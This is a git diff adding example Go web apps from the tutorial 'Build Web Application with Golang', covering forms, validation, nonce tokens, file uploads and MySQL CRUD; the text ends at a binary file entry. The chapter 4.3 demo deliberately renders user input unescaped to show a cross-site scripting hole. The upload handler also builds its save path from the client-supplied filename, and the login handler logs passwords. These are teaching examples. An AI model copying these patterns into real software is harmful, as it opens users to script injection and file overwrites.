`http://localhost:9090` +package main + +import ( + "fmt" + "net/http" +) + +type MyMux struct { +} + +func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return +} + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") +} + +func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) +} diff --git a/de/code/src/apps/ch.4.1/login.gtpl b/de/code/src/apps/ch.4.1/login.gtpl new file mode 100644 index 00000000..91cd5035 --- /dev/null +++ b/de/code/src/apps/ch.4.1/login.gtpl @@ -0,0 +1,12 @@ + + + + + +
+ Username: + Password: + +
+ + diff --git a/de/code/src/apps/ch.4.1/main.go b/de/code/src/apps/ch.4.1/main.go new file mode 100644 index 00000000..04daedc1 --- /dev/null +++ b/de/code/src/apps/ch.4.1/main.go @@ -0,0 +1,48 @@ +// Example code for Chapter 4.1 from "Build Web Application with Golang" +// Purpose: Shows how to create a simple login using a template +// Run: `go run main.go`, then access `http://localhost:9090` and `http://localhost:9090/login` +package main + +import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) + // attention: If you do not call ParseForm method, the following data can not be obtained form + fmt.Println(r.Form) // print information on server side. + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // write data to response +} + +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //get request method + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, nil) + } else { + r.ParseForm() + // logic part of log in + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } +} + +func main() { + http.HandleFunc("/", sayhelloName) // setting router rule + http.HandleFunc("/login", login) + err := http.ListenAndServe(":9090", nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/de/code/src/apps/ch.4.2/main.go b/de/code/src/apps/ch.4.2/main.go new file mode 100644 index 00000000..63284146 --- /dev/null +++ b/de/code/src/apps/ch.4.2/main.go @@ -0,0 +1,59 @@ +// Example code for Chapter 4.2 from "Build Web Application with Golang" +// Purpose: Shows how to perform server-side validation of user input from a form. +// Also shows to use multiple template files with predefined template names. +// Run `go run main.go` and then access http://localhost:9090 +package main + +import ( + "apps/ch.4.2/validator" + "html/template" + "log" + "net/http" +) + +const ( + PORT = "9090" + HOST_URL = "http://localhost:" + PORT +) + +var t *template.Template + +type Links struct { + BadLinks [][2]string +} + +// invalid links to display for testing. +var links Links + +func index(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, HOST_URL+"/profile", http.StatusTemporaryRedirect) +} +func profileHandler(w http.ResponseWriter, r *http.Request) { + t.ExecuteTemplate(w, "profile", links) +} +func checkProfile(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + p := validator.ProfilePage{&r.Form} + t.ExecuteTemplate(w, "submission", p.GetErrors()) +} + +// This function is called before main() +func init() { + // Note: we can reference the loaded templates by their defined name inside the template files. + t = template.Must(template.ParseFiles("profile.gtpl", "submission.gtpl")) + + list := make([][2]string, 2) + list[0] = [2]string{HOST_URL + "/checkprofile", "No data"} + list[1] = [2]string{HOST_URL + "/checkprofile?age=1&gender=guy&shirtsize=big", "Invalid options"} + links = Links{list} +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/profile", profileHandler) + http.HandleFunc("/checkprofile", checkProfile) + + err := http.ListenAndServe(":"+PORT, nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/de/code/src/apps/ch.4.2/profile.gtpl b/de/code/src/apps/ch.4.2/profile.gtpl new file mode 100644 index 00000000..2eca7a8f --- /dev/null +++ b/de/code/src/apps/ch.4.2/profile.gtpl @@ -0,0 +1,89 @@ +{{define "profile"}} + + + +

Profile Setup:

+
+
+
*User Name:
+
+
+
+
*Age:
+
+
+
+
*Email:
+
+
+
+
*Birth day:
+
+ +
+
+
+
Gender:
+
+ + + +
+
+
+
Siblings:
+
+ + +
+
+
+
Shirt Size:
+
+ +
+
+
+
Chinese Name:
+
+
+
+ *Required +
+ +
+

Invalid submissions

+
    {{range .BadLinks}} +
  1. {{index . 1}}
  2. + {{end}} +
+ + +{{end}} \ No newline at end of file diff --git a/de/code/src/apps/ch.4.2/submission.gtpl b/de/code/src/apps/ch.4.2/submission.gtpl new file mode 100644 index 00000000..fdeceed6 --- /dev/null +++ b/de/code/src/apps/ch.4.2/submission.gtpl @@ -0,0 +1,16 @@ +{{define "submission"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + Profile successfully submitted. + {{end}} + + +{{end}} \ No newline at end of file diff --git a/de/code/src/apps/ch.4.2/validator/main.go b/de/code/src/apps/ch.4.2/validator/main.go new file mode 100644 index 00000000..35111231 --- /dev/null +++ b/de/code/src/apps/ch.4.2/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/de/code/src/apps/ch.4.3/index.gtpl b/de/code/src/apps/ch.4.3/index.gtpl new file mode 100644 index 00000000..f8ac28fe --- /dev/null +++ b/de/code/src/apps/ch.4.3/index.gtpl @@ -0,0 +1,28 @@ + + + +

Cross Site Scripting Attack Test

+ {{if .}} + Previous User Input:
+ +
{{.}}
+ {{end}} +
+ +
+ +
+ +
+ + + diff --git a/de/code/src/apps/ch.4.3/main.go b/de/code/src/apps/ch.4.3/main.go new file mode 100644 index 00000000..20b9d454 --- /dev/null +++ b/de/code/src/apps/ch.4.3/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 4.3 from "Build Web Application with Golang" +// Purpose: Shows how to properly escape input +package main + +import ( + "html/template" + "net/http" + textTemplate "text/template" +) + +var t *template.Template = template.Must(template.ParseFiles("index.gtpl")) + +func index(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + userInput := r.Form.Get("userinput") + if 0 < len(r.Form.Get("escape")) { + t.Execute(w, template.HTMLEscapeString(userInput)) + } else { + // Variables with type `template.HTML` are not escaped when passed to `.Execute()` + t.Execute(w, template.HTML(userInput)) + } +} +func templateHandler(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + userInput := r.Form.Get("userinput") + if 0 < len(r.Form.Get("escape")) { + // `html/template.Execute()` escapes input + t.Execute(w, userInput) + } else { + tt := textTemplate.Must(textTemplate.ParseFiles("index.gtpl")) + // `text/template.Execute()` doesn't escape input + tt.Execute(w, userInput) + } +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/template", templateHandler) + http.ListenAndServe(":9090", nil) +} diff --git a/de/code/src/apps/ch.4.4/main.go b/de/code/src/apps/ch.4.4/main.go new file mode 100644 index 00000000..280f7ef1 --- /dev/null +++ b/de/code/src/apps/ch.4.4/main.go @@ -0,0 +1,54 @@ +// Example code for Chapter 3.2 from "Build Web Application with Golang" +// Purpose: Shows how to prevent duplicate submissions by using tokens +// Example code for Chapter 4.4 based off the code from Chapter 4.2 +// Run `go run main.go` then access http://localhost:9090 +package main + +import ( + "apps/ch.4.4/nonce" + "apps/ch.4.4/validator" + "html/template" + "log" + "net/http" +) + +const ( + PORT = "9090" + HOST_URL = "http://localhost:" + PORT +) + +var submissions nonce.Nonces +var t *template.Template + +func index(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, HOST_URL+"/profile", http.StatusTemporaryRedirect) +} +func profileHandler(w http.ResponseWriter, r *http.Request) { + t.ExecuteTemplate(w, "profile", submissions.NewNonce()) +} +func checkProfile(w http.ResponseWriter, r *http.Request) { + var errs validator.Errors + r.ParseForm() + token := r.Form.Get("token") + if err := submissions.CheckThenMarkToken(token); err != nil { + errs = validator.Errors{[]error{err}} + } else { + p := validator.ProfilePage{&r.Form} + errs = p.GetErrors() + } + t.ExecuteTemplate(w, "submission", errs) +} +func init() { + submissions = nonce.New() + t = template.Must(template.ParseFiles("profile.gtpl", "submission.gtpl")) +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/profile", profileHandler) + http.HandleFunc("/checkprofile", checkProfile) + + err := http.ListenAndServe(":"+PORT, nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/de/code/src/apps/ch.4.4/nonce/main.go b/de/code/src/apps/ch.4.4/nonce/main.go new file mode 100644 index 00000000..2e1663fe --- /dev/null +++ b/de/code/src/apps/ch.4.4/nonce/main.go @@ -0,0 +1,70 @@ +// A nonce is a number or string used only once. +// This is useful for generating a unique token for login pages to prevent duplicate submissions. +package nonce + +import ( + "crypto/md5" + "errors" + "fmt" + "io" + "math/rand" + "strconv" + "time" +) + +// Contains a unique token +type Nonce struct { + Token string +} + +// Keeps track of marked/used tokens +type Nonces struct { + hashs map[string]bool +} + +func New() Nonces { + return Nonces{make(map[string]bool)} +} +func (n *Nonces) NewNonce() Nonce { + return Nonce{n.NewToken()} +} + +// Returns a new unique token +func (n *Nonces) NewToken() string { + t := createToken() + for n.HasToken(t) { + t = createToken() + } + return t +} + +// Checks if token has been marked. +func (n *Nonces) HasToken(token string) bool { + return n.hashs[token] == true +} +func (n *Nonces) MarkToken(token string) { + n.hashs[token] = true +} +func (n *Nonces) CheckToken(token string) error { + if token == "" { + return errors.New("No token supplied") + } + if n.HasToken(token) { + return errors.New("Duplicate submission.") + } + return nil +} +func (n *Nonces) CheckThenMarkToken(token string) error { + defer n.MarkToken(token) + if err := n.CheckToken(token); err != nil { + return err + } + return nil +} +func createToken() string { + h := md5.New() + now := time.Now().Unix() + io.WriteString(h, strconv.FormatInt(now, 10)) + io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) + return fmt.Sprintf("%x", h.Sum(nil)) +} diff --git a/de/code/src/apps/ch.4.4/profile.gtpl b/de/code/src/apps/ch.4.4/profile.gtpl new file mode 100644 index 00000000..34833086 --- /dev/null +++ b/de/code/src/apps/ch.4.4/profile.gtpl @@ -0,0 +1,85 @@ +{{define "profile"}} + + + +

Profile Setup:

+
+
+
*User Name:
+
+
+
+
*Age:
+
+
+
+
*Email:
+
+
+
+
*Birth day:
+
+ +
+
+
+
Gender:
+
+ + + +
+
+
+
Siblings:
+
+ + +
+
+
+
Shirt Size:
+
+ +
+
+
+
Chinese Name:
+
+
+
+ *Required +
+ + +
+ + +{{end}} diff --git a/de/code/src/apps/ch.4.4/submission.gtpl b/de/code/src/apps/ch.4.4/submission.gtpl new file mode 100644 index 00000000..456ff678 --- /dev/null +++ b/de/code/src/apps/ch.4.4/submission.gtpl @@ -0,0 +1,17 @@ +{{define "submission"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + Profile successfully submitted.
+ Note: Refreshing the page will produce a duplicate entry. + {{end}} + + +{{end}} \ No newline at end of file diff --git a/de/code/src/apps/ch.4.4/validator/main.go b/de/code/src/apps/ch.4.4/validator/main.go new file mode 100644 index 00000000..35111231 --- /dev/null +++ b/de/code/src/apps/ch.4.4/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/de/code/src/apps/ch.4.5/client_upload/main.go b/de/code/src/apps/ch.4.5/client_upload/main.go new file mode 100644 index 00000000..5757cc77 --- /dev/null +++ b/de/code/src/apps/ch.4.5/client_upload/main.go @@ -0,0 +1,46 @@ +package main + +import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" +) + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func postFile(filename string, targetUrl string) { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + checkError(err) + + fh, err := os.Open(filename) + checkError(err) + + _, err = io.Copy(fileWriter, fh) + checkError(err) + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + resp, err := http.Post(targetUrl, contentType, bodyBuf) + checkError(err) + + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + checkError(err) + + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) +} +func main() { + target_url := "http://localhost:9090/upload" + filename := "../file.txt" + postFile(filename, target_url) +} diff --git a/de/code/src/apps/ch.4.5/index.gtpl b/de/code/src/apps/ch.4.5/index.gtpl new file mode 100644 index 00000000..aa1149c6 --- /dev/null +++ b/de/code/src/apps/ch.4.5/index.gtpl @@ -0,0 +1,15 @@ +{{define "index"}} + + + + Upload file + + +
+ + + +
+ + +{{end}} diff --git a/de/code/src/apps/ch.4.5/main.go b/de/code/src/apps/ch.4.5/main.go new file mode 100644 index 00000000..24591dcf --- /dev/null +++ b/de/code/src/apps/ch.4.5/main.go @@ -0,0 +1,64 @@ +// Example code for Chapter 4.5 +// Purpose is to create a server to handle uploading files. +package main + +import ( + "apps/ch.4.4/nonce" + "apps/ch.4.4/validator" + "fmt" + "html/template" + "io" + "mime/multipart" + "net/http" + "os" +) + +const MiB_UNIT = 1 << 20 + +var t *template.Template +var submissions nonce.Nonces = nonce.New() + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func indexHandler(w http.ResponseWriter, r *http.Request) { + err := t.ExecuteTemplate(w, "index", submissions.NewToken()) + checkError(err) +} +func uploadHandler(w http.ResponseWriter, r *http.Request) { + var errs validator.Errors + r.ParseMultipartForm(32 * MiB_UNIT) + token := r.Form.Get("token") + if err := submissions.CheckThenMarkToken(token); err != nil { + errs = validator.Errors{[]error{err}} + } else { + file, handler, err := r.FormFile("uploadfile") + checkError(err) + saveUpload(file, handler) + } + err := t.ExecuteTemplate(w, "upload", errs) + checkError(err) +} +func saveUpload(file multipart.File, handler *multipart.FileHeader) { + defer file.Close() + fmt.Printf("Uploaded file info: %#v", handler.Header) + localFilename := fmt.Sprintf("./uploads/%v.%v", handler.Filename, submissions.NewToken()) + f, err := os.OpenFile(localFilename, os.O_WRONLY|os.O_CREATE, 0666) + checkError(err) + defer f.Close() + _, err = io.Copy(f, file) + checkError(err) +} +func init() { + var err error + t, err = template.ParseFiles("index.gtpl", "upload.gtpl") + checkError(err) +} +func main() { + http.HandleFunc("/", indexHandler) + http.HandleFunc("/upload", uploadHandler) + err := http.ListenAndServe(":9090", nil) + checkError(err) +} diff --git a/de/code/src/apps/ch.4.5/nonce/main.go b/de/code/src/apps/ch.4.5/nonce/main.go new file mode 100644 index 00000000..2e1663fe --- /dev/null +++ b/de/code/src/apps/ch.4.5/nonce/main.go @@ -0,0 +1,70 @@ +// A nonce is a number or string used only once. +// This is useful for generating a unique token for login pages to prevent duplicate submissions. +package nonce + +import ( + "crypto/md5" + "errors" + "fmt" + "io" + "math/rand" + "strconv" + "time" +) + +// Contains a unique token +type Nonce struct { + Token string +} + +// Keeps track of marked/used tokens +type Nonces struct { + hashs map[string]bool +} + +func New() Nonces { + return Nonces{make(map[string]bool)} +} +func (n *Nonces) NewNonce() Nonce { + return Nonce{n.NewToken()} +} + +// Returns a new unique token +func (n *Nonces) NewToken() string { + t := createToken() + for n.HasToken(t) { + t = createToken() + } + return t +} + +// Checks if token has been marked. +func (n *Nonces) HasToken(token string) bool { + return n.hashs[token] == true +} +func (n *Nonces) MarkToken(token string) { + n.hashs[token] = true +} +func (n *Nonces) CheckToken(token string) error { + if token == "" { + return errors.New("No token supplied") + } + if n.HasToken(token) { + return errors.New("Duplicate submission.") + } + return nil +} +func (n *Nonces) CheckThenMarkToken(token string) error { + defer n.MarkToken(token) + if err := n.CheckToken(token); err != nil { + return err + } + return nil +} +func createToken() string { + h := md5.New() + now := time.Now().Unix() + io.WriteString(h, strconv.FormatInt(now, 10)) + io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) + return fmt.Sprintf("%x", h.Sum(nil)) +} diff --git a/de/code/src/apps/ch.4.5/upload.gtpl b/de/code/src/apps/ch.4.5/upload.gtpl new file mode 100644 index 00000000..4c55c5c5 --- /dev/null +++ b/de/code/src/apps/ch.4.5/upload.gtpl @@ -0,0 +1,17 @@ +{{define "upload"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + File uploaded successfully.
+ Note: Refreshing the page will produce a duplicate entry. + {{end}} + + +{{end}} diff --git a/de/code/src/apps/ch.4.5/validator/main.go b/de/code/src/apps/ch.4.5/validator/main.go new file mode 100644 index 00000000..35111231 --- /dev/null +++ b/de/code/src/apps/ch.4.5/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/de/code/src/apps/ch.5.2/main.go b/de/code/src/apps/ch.5.2/main.go new file mode 100644 index 00000000..b64c4450 --- /dev/null +++ b/de/code/src/apps/ch.5.2/main.go @@ -0,0 +1,76 @@ +// Example code for Chapter 5.2 from "Build Web Application with Golang" +// Purpose: Use SQL driver to perform simple CRUD operations. +package main + +import ( + "database/sql" + "fmt" + _ "github.com/go-sql-driver/mysql" +) + +const ( + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" +) + +func main() { + dbSouce := fmt.Sprintf("%v:%v@/%v?charset=utf8", DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("mysql", dbSouce) + checkErr(err) + defer db.Close() + + fmt.Println("Inserting") + stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "software developement", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println("id of last inserted row =", id) + fmt.Println("Updating") + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") + + fmt.Println("Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username, department, created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created") + fmt.Printf("%3v | %6v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} diff --git a/de/code/src/apps/ch.5.2/readme.md b/de/code/src/apps/ch.5.2/readme.md new file mode 100644 index 00000000..bbeb630b --- /dev/null +++ b/de/code/src/apps/ch.5.2/readme.md @@ -0,0 +1,12 @@ +##Setup for `ch.5.2` + +- Step 1) Install and run MySql +- Step 2) Create a user and database according to the constants in `main.go` + + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" + +- Step 3) Create table `userinfo` located at `schema.sql` +- Step 4) Run `go get` to download and install the remote packages. +- Step 5) Execute the program with `go run main.go` diff --git a/de/code/src/apps/ch.5.2/schema.sql b/de/code/src/apps/ch.5.2/schema.sql new file mode 100644 index 00000000..04128f7f --- /dev/null +++ b/de/code/src/apps/ch.5.2/schema.sql @@ -0,0 +1,7 @@ +CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `departname` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) +); diff --git a/de/code/src/apps/ch.5.3/foo.db b/de/code/src/apps/ch.5.3/foo.db new file mode 100644 index 